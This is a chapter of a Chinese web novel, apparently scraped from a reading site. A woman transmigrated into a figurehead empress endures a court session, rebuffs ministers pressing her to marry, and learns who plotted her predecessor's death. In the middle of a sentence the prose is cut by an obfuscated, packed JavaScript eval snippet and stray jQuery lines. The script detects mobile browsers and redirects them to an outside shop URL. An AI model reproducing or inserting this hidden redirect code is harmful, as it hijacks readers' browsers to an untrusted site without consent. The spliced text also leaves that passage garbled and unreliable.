四更三刻,天光将亮。
刘月正在梦中与周公相会,睡意朦胧中耳边传来轻柔细弱的呼唤:“陛下,该起身预备早朝了。”
她艰难睁开条微小的眼缝,依稀可见彩云的秀脸近在咫尺,对着她笑得温柔和善:“陛下……陛下?已是四时三刻,再不起床早朝要迟了,到时萧相怕是又要攫着这个机会教训您……”
刘月捂上耳朵,翻身,准备继续回梦中和周公幽会。
最后彩云强行将她从榻上扶起又半抱半拽着下床了。
洗漱过后又一番打扮,刘月方彻底清醒过来,站在落地镜前欣赏自己。
身着绛色交领龙纹朝袍,头戴玉梁无旒通天冠,眉眼清冽,贵气雍容。纵然身形柔软单薄,可一身龙袍披上,玉冠束紧墨发,孱弱的气息却不复存在,取之则有凛然的帝王之仪。
真是人靠衣装,佛靠金装。
细看了片刻,刘月又叹息不已,今日是第二天了,系统依旧藏起来对她爱搭不理,吴江又在萧衡手里,她琢磨着要不然早朝结束去找萧衡,说些好听的美言,看看能不能让他帮忙调查一下。
毕竟他手眼通天,做起事来定能事半功倍吧……
彩云端来了暖汤,劝她先用些,等下了朝再用正式的早膳。刘月摇头连连拒绝,时间还这么早,她哪里吃的下去东西。
于是悬着颗紧张的心坐上轿辇往崇文殿去了。
天色尚沉,墨蓝天幕还未完全褪去,薄雾漫过飞阙宫檐,刘月慢悠悠地打了个绵长的哈欠。
也不知道这大曜的早朝都是什么样的盛景,反正上辈子看电视剧里演的倒是挺严肃正经,她心里七上八下的。
不过又一想,她只是萧衡手里用来把持朝政的一颗棋子,朝堂之上应该轮不到她开口说话。
崇文殿恢弘沉肃,文武诸臣早就整整齐齐立于阶下,个个手持玉笏,躬身以待。刘月一进殿,目光一下子就落在了萧衡身上,不仅仅是因为他在一众男男女女里帅的出众,更是因为在满朝红绿相交的袍服里唯他身着紫袍。
所有人都恭恭敬敬地垂头视地,不敢直面天子,唯他,肩背挺阔,一双锐利鹰眸甫一进殿就死死刻在她的身上。
真不愧篡逆奸臣,刘月不动声色,心下却暗自讽他一句,随即身形端稳坐上龙椅。
不过眼角余光兜兜转转还是忍不住去看萧衡,许嵩说的没错,紫色确实很有韵味。
朝会开始,果真如刘月所想,大臣们不是议这个州有水患就是那个县有蝗灾,兼有言官出列弹劾对奏,一时朝堂纷议四起,笏板起落之声不绝于耳。
刘月稳坐上方,先是茫然和无措,最后见众大臣也不鸟她,个个只听萧衡谕令、观萧衡脸色,便彻底放下了心来,听着阶下诸位你来我往此起彼伏的议论声,脑子早就飘到了九霄云外,想着下了朝得先补个回笼觉再用膳。
忽一道极富侵略性的目光射来,她霎时一激灵,条件反射地坐直了身子,打起精神,这感觉实在太熟悉,好像数学课上走神被抓个现行。
她忙装模作样地正起神色,与萧衡遥遥对视,果见萧衡一张帅脸又黑了两分,两道剑眉深锁,正冷冷地看着她。
刘月一观他这架势,心里叫苦不迭,不知道自己怎么又得罪了这个活爹。
萧衡手持玉笏,微一躬身,忽道:”陛下觉得臣方才治水患的那个法子可好?”
刘月眉心一跳,方才自己的魂早就飘走了,只知萧衡运筹帷幄、对答如流,斡旋于众人之间,其态潇洒自如,具体说了什么,一概没注意。
“好,甚好!”她高声赞道。
不管是什么法子,拍马屁准没错。
萧衡嘴角微扬:“哦?既然陛下这么认同臣治水的法子,不如说说此法好在哪里,又有什么可以查缺补漏之处,臣也好再补充完备一番。”
“萧相聪慧绝伦,肱股之臣,既是你提出的治患法子那必定是完美无缺、毫无指摘,哪哪都好哇!朕觉得完全可行,没有什么可补充之处,诸位爱卿觉得呢?”
刘月稍一沉吟,立即反应过来,一番妙语连珠,将问题又抛了出去。
众臣见圣上都发话了,又迫于萧衡淫威,当然说一不二,纷纷附和。
“那臣便谢陛下褒奖了。”萧衡别有意味地勾唇一笑,侧过身,不再理她,继续和群臣策论周旋。
刘月长舒了口气,顿时又觉得自己窝囊,上辈子在单位天天受气,这辈子都当皇帝了还处处受限掣肘,整日在萧衡的淫威之下如履薄冰地过日子,不过转念一想,至少帝王地位在这,不用为生计奔波,更不用操心衣食住行,还有人天天伺候着,万人之上一人之下而已,这样的日子也算潇洒自在。
这样想着,她又恢复了好心情,悄摸着打了个盹儿,在龙椅上昏昏欲睡。
“启奏陛下,臣有要事相奏。”
也不知走神了多久,耳旁突然传来一道激昂清脆的女声。
刘月看过去,是位身穿红袍挂银鱼袋、双目湛湛的中年女士。
“何事?”她咽了口唾沫,眼神不住往萧衡身上飘,心里根本没底儿,毕竟她这个冒牌货哪里会处理朝政之事。
萧衡只当作没看见她的求救,只一脸漠色地盯着那女官。
“陛下,国之根本,在于储嗣,如今后宫寥落,江山社稷尚无后继之人,此乃臣日夜忧心之事,恳请陛下广选良家德才兼备之人充扩后宫,上承宗庙香火,下安臣民之心呐!”
女官叽里咕噜说了一堆,刘月越听越不对劲,这是要她……结婚生孩子……?
老天爷啊!
有没有搞错,都穿成女帝了,还逃不开被催婚催育的命运,古往今来,这难道是每个女人都要经历的魔咒吗?
又有人出列:“臣附议,臣恳请陛下广择世家良人,充扩后宫,早育龙种!”
“臣家中有五个儿子,个个皆是一表人才文武双全德艺双馨,陛下随便挑!”
“陈尚书,你莫要睁眼说瞎话,我虽然没见过你儿子,但就你长这挫样,你儿子能俊到哪去?”
“就是就是,要说一表人才,玉京之中谁能比得过刘御史家的二公子?”
“哼,长得好有何用,给陛下选的才人最重要的是品性德才!”
刘月头都要大了,拄着下巴看着下面众臣你一言我一语,明明是说亲的话题怎么还涉及到党争和人身攻击了……再看萧衡,一国之相,任朝臣在公堂之上争论不止,不出来阻止就算了,竟然还一副看热闹不嫌事大的淡定模样。
“够了!”
刘月实在是受不了了,一拍御几,“你们一个个都是国家栋梁,肱骨重臣,崇文殿内不论国事和民生,倒是在这为朕的婚育抓耳挠腮众说纷纭?朕告诉你们,能不能别对一个女人的子宫占有欲那么强?朕想生就生不想生就不生,干卿何事啊?”
众臣止住话头,面面相觑,震惊失色,又纷纷一脸无措地看向萧衡。
陛下……陛下何时变得这般暴躁了?
刘月脑子一热,嘴瘾是过尽了,顿了片刻又开始止不住后悔,讪讪地看向萧衡,果然,萧衡的俊脸黑的可以说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17905398|213009||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
跟煤炭不相上下了。
她只得强撑着声摆手道:“朕乏了,今日早朝到此为止……”
“彩云,快快快,把早膳叫上来了,我要饿晕了!”
一回到福安殿,刘月就扯着嗓子唤彩云要吃饭,彩云张罗着给她卸朝袍褪朝冠,一口热茶下肚,她方觉得身子轻快了不少。
没一会儿,早膳来了,还不等彩云试菜,刘月抓起一块枣泥蒸糕就往嘴里放。
“陛下,奴婢还没试菜呢!”彩云又惊又叹。
“怕什么,”刘月口齿不清,一口碳水下去,感觉自己的生命值回还不少,“生死由命富贵在天。”
彩云在旁汗颜不已,对于主子如今时不时口出惊人的性情似乎已经适应完全了。不过只要主子人好好的,她身为主子的贴身婢女,也别无所求了。
事实上刘月说这话也并非一时兴起,如今系统给的期限也就只剩一半了,她还没查出陷害楚玉的真正元凶。再想想今天早上萧衡那脸色,估计她再想审吴江也是难事。
现下自己可不就是“生死由命”了!
用完早膳头脑晕晕乎乎,正准备补个回笼觉,内侍来报,康公公求见。
刘月皱着眉头琢磨,自昨日康永将吴江带走,萧衡似乎就撤去了他监视自己的命令,怎么这会儿突然前来求见?
康永依旧那副不苟言笑的模样进来偏殿,刘月临案而坐,居高临下地审视着他。
“小臣奉萧相之命,特来禀奏陛下落水之事的前因后果。”
刘月心里一咯噔,面上却相安无事,暗道不过才一天,萧衡竟主动把这件事查出个水落石出了?
“说吧。”刘月喝了口茶压下狂跳的心脏。
“此事涉及多年前的一桩旧事,也关乎先帝和……陛下您的母妃淑妃娘娘。”康永说到此,停顿片刻,见刘月神色并无异样,于是继续稳着声道:“建元十二年,先帝曾下江南巡察民情,偶遇江南民女秦氏,秦氏温婉柔美,先帝一见倾心,不顾秦氏已有婚约在身,将之带回宫中封为惠妃,后来惠妃娘娘诞下皇子,却被……淑妃娘娘陷害于襁褓之中,如今淑妃娘娘仙逝,惠太妃才终于寻到报复淑妃娘娘的手段,那便是以其人之道还治其人之身,而吴江正是当年惠太妃在民间的未婚夫。”
淑妃的子嗣可不就是楚玉,话已至此,其他不必再多说。
刘月怔了片刻,将手中最后一口温茗一饮而尽。
看来楚玉之死是惠太妃与吴江共谋而致。
“那吴江和惠太妃该怎样处置?”
“吴江和惠太妃已被押在刑部大牢里等候处置,谋杀天子,必定是诛连九族的大罪。”
“朕知道了,替朕向萧相道声多谢,你下去吧。”
“是。”
待康永退下,刘月被彩云伺候着上榻,她躺在柔软的被褥里,闻着淡淡的熏香,怎么也闭不上眼。
凶手既已伏案,自己也已摆脱爆体而亡的惨死命运,不知为何,她却怎么也高兴不起来。
想了想,她还是在脑海里试图呼唤系统:
“喂,系统你在吗?犹记得当初你只说让我找出杀害楚玉的凶手,也没说要凶手的命是不?”
系统依旧没有任何反应。
她又不甘心地继续说道:“我看这惠太妃也是个可怜人,毕竟是楚玉老娘先害的人家孩子嘛……我若保惠太妃一命,应该不会魂飞魄散爆体而亡吧?”
脑海里依旧空空如也。
唉……她叹了口气,坐起身:“彩云,给我更衣,我要去见萧衡。”